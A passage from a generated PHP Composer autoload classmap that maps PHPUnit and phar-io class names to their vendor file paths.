'PHPUnit\\Runner\\TestSuiteLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestSuiteLoader.php', 'PHPUnit\\Runner\\TestSuiteSorter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestSuiteSorter.php', 'PHPUnit\\Runner\\Version' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Version.php', 'PHPUnit\\TextUI\\CliArguments\\Builder' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Builder.php', 'PHPUnit\\TextUI\\CliArguments\\Configuration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php', 'PHPUnit\\TextUI\\CliArguments\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Exception.php', 'PHPUnit\\TextUI\\CliArguments\\Mapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php', 'PHPUnit\\TextUI\\Command' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Command.php', 'PHPUnit\\TextUI\\DefaultResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php', 'PHPUnit\\TextUI\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/Exception.php', 'PHPUnit\\TextUI\\Help' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Help.php', 'PHPUnit\\TextUI\\ReflectionException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php', 'PHPUnit\\TextUI\\ResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/ResultPrinter.php', 'PHPUnit\\TextUI\\RuntimeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php', 'PHPUnit\\TextUI\\TestDirectoryNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php', 'PHPUnit\\TextUI\\TestFileNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php', 'PHPUnit\\TextUI\\TestRunner' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/TestRunner.php', 'PHPUnit\\TextUI\\TestSuiteMapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/TestSuiteMapper.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\CodeCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\FilterMapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\Directory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Clover' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Cobertura' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Crap4j' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Html' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Php' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Configuration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Constant' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConvertLogTypes' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCloverToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCrap4jToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageHtmlToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoveragePhpToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageTextToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageXmlToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Directory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Extension' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\File' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php', 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Generator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Group' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php', 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Groups' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSetting' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IntroduceCoverageElement' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Loader' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php', 'PHPUnit\\TextUI\\XmlConfiguration\\LogToReportMigration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Junit' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Logging' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TeamCity' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Html' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Migration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilderException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Migrator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromFilterWhitelistToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromRootToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistDirectoriesToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistDirectoriesToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistExcludesToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\PHPUnit' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Php' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php', 'PHPUnit\\TextUI\\XmlConfiguration\\PhpHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveCacheTokensAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveEmptyFilter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveLogTypes' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFile' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\UpdateSchemaLocationTo93' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Variable' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php', 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php', 'PHPUnit\\Util\\Annotation\\DocBlock' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Annotation/DocBlock.php', 'PHPUnit\\Util\\Annotation\\Registry' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Annotation/Registry.php', 'PHPUnit\\Util\\Blacklist' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Blacklist.php', 'PHPUnit\\Util\\Color' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Color.php', 'PHPUnit\\Util\\ErrorHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/ErrorHandler.php', 'PHPUnit\\Util\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Exception.php', 'PHPUnit\\Util\\ExcludeList' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/ExcludeList.php', 'PHPUnit\\Util\\FileLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/FileLoader.php', 'PHPUnit\\Util\\Filesystem' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Filesystem.php', 'PHPUnit\\Util\\Filter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Filter.php', 'PHPUnit\\Util\\GlobalState' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/GlobalState.php', 'PHPUnit\\Util\\InvalidDataSetException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/InvalidDataSetException.php', 'PHPUnit\\Util\\Json' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Json.php', 'PHPUnit\\Util\\Log\\JUnit' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Log/JUnit.php', 'PHPUnit\\Util\\Log\\TeamCity' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Log/TeamCity.php', 'PHPUnit\\Util\\PHP\\AbstractPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php', 'PHPUnit\\Util\\PHP\\DefaultPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php', 'PHPUnit\\Util\\PHP\\WindowsPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php', 'PHPUnit\\Util\\Printer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Printer.php', 'PHPUnit\\Util\\RegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/RegularExpression.php', 'PHPUnit\\Util\\Test' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Test.php', 'PHPUnit\\Util\\TestDox\\CliTestDoxPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php', 'PHPUnit\\Util\\TestDox\\HtmlResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php', 'PHPUnit\\Util\\TestDox\\NamePrettifier' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php', 'PHPUnit\\Util\\TestDox\\ResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php', 'PHPUnit\\Util\\TestDox\\TestDoxPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php', 'PHPUnit\\Util\\TestDox\\TextResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php', 'PHPUnit\\Util\\TestDox\\XmlResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php', 'PHPUnit\\Util\\TextTestListRenderer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TextTestListRenderer.php', 'PHPUnit\\Util\\Type' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Type.php', 'PHPUnit\\Util\\VersionComparisonOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/VersionComparisonOperator.php', 'PHPUnit\\Util\\XdebugFilterScriptGenerator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php', 'PHPUnit\\Util\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml.php', 'PHPUnit\\Util\\XmlTestListRenderer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/XmlTestListRenderer.php', 'PHPUnit\\Util\\Xml\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Exception.php', 'PHPUnit\\Util\\Xml\\FailedSchemaDetectionResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\Loader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Loader.php', 'PHPUnit\\Util\\Xml\\SchemaDetectionResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\SchemaDetector' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaDetector.php', 'PHPUnit\\Util\\Xml\\SchemaFinder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaFinder.php', 'PHPUnit\\Util\\Xml\\SnapshotNodeList' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php', 'PHPUnit\\Util\\Xml\\SuccessfulSchemaDetectionResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\ValidationResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/ValidationResult.php', 'PHPUnit\\Util\\Xml\\Validator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Validator.php', 'PharIo\\Manifest\\Application' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Application.php', 'PharIo\\Manifest\\ApplicationName' => __DIR__ . '/..' . '/phar-io/manifest/src/values/ApplicationName.php', 'PharIo\\Manifest\\Author' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Author.php', 'PharIo\\Manifest\\AuthorCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/AuthorCollection.php', 'PharIo\\Manifest\\AuthorCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/AuthorCollectionIterator.php', 'PharIo\\Manifest\\AuthorElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/AuthorElement.php', 'PharIo\\Manifest\\AuthorElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/AuthorElementCollection.php', 'PharIo\\Manifest\\BundledComponent' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponent.php', 'PharIo\\Manifest\\BundledComponentCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponentCollection.php', 'PharIo\\Manifest\\BundledComponentCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponentCollectionIterator.php', 'PharIo\\Manifest\\BundlesElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/BundlesElement.php', 'PharIo\\Manifest\\ComponentElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ComponentElement.php', 'PharIo\\Manifest\\ComponentElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ComponentElementCollection.php', 'PharIo\\Manifest\\ContainsElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ContainsElement.php', 'PharIo\\Manifest\\CopyrightElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/CopyrightElement.php', 'PharIo\\Manifest\\CopyrightInformation' => __DIR__ . '/..' . '/phar-io/manifest/src/values/CopyrightInformation.php', 'PharIo\\Manifest\\ElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ElementCollection.php', 'PharIo\\Manifest\\ElementCollectionException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ElementCollectionException.php', 'PharIo\\Manifest\\Email' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Email.php', 'PharIo\\Manifest\\Exception' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/Exception.php', 'PharIo\\Manifest\\ExtElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtElement.php', 'PharIo\\Manifest\\ExtElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtElementCollection.php', 'PharIo\\Manifest\\Extension' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Extension.php', 'PharIo\\Manifest\\ExtensionElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtensionElement.php', 'PharIo\\Manifest\\InvalidApplicationNameException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php', 'PharIo\\Manifest\\InvalidEmailException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidEmailException.php', 'PharIo\\Manifest\\InvalidUrlException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidUrlException.php', 'PharIo\\Manifest\\Library' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Library.php', 'PharIo\\Manifest\\License' => __DIR__ . '/..' . '/phar-io/manifest/src/values/License.php', 'PharIo\\Manifest\\LicenseElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/LicenseElement.php', 'PharIo\\Manifest\\Manifest' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Manifest.php', 'PharIo\\Manifest\\ManifestDocument' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ManifestDocument.php', 'PharIo\\Manifest\\ManifestDocumentException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentException.php', 'PharIo\\Manifest\\ManifestDocumentLoadingException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php', 'PharIo\\Manifest\\ManifestDocumentMapper' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestDocumentMapper.php', 'PharIo\\Manifest\\ManifestDocumentMapperException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php', 'PharIo\\Manifest\\ManifestElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ManifestElement.php', 'PharIo\\Manifest\\ManifestElementException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestElementException.php', 'PharIo\\Manifest\\ManifestLoader' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestLoader.php', 'PharIo\\Manifest\\ManifestLoaderException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestLoaderException.php', 'PharIo\\Manifest\\ManifestSerializer' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestSerializer.php', 'PharIo\\Manifest\\PhpElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/PhpElement.php', 'PharIo\\Manifest\\PhpExtensionRequirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/PhpExtensionRequirement.php', 'PharIo\\Manifest\\PhpVersionRequirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/PhpVersionRequirement.php', 'PharIo\\Manifest\\Requirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Requirement.php', 'PharIo\\Manifest\\RequirementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/RequirementCollection.php', 'PharIo\\Manifest\\RequirementCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/RequirementCollectionIterator.php', 'PharIo\\Manifest\\RequiresElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/RequiresElement.php', 'PharIo\\Manifest\\Type' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Type.php', 'PharIo\\Manifest\\Url' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Url.php', 'PharIo\\Version\\AbstractVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AbstractVersionConstraint.php', 'PharIo\\Version\\AndVersionConstraintGroup' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AndVersionConstraintGroup.php', 'PharIo\\Version\\AnyVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AnyVersionConstraint.php', 'PharIo\\Version\\BuildMetaData' => __DIR__ . '/..' . '/phar-io/version/src/BuildMetaData.php', 'PharIo\\Version\\ExactVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/ExactVersionConstraint.php', 'PharIo\\Version\\Exception' => __DIR__ . '/..' . 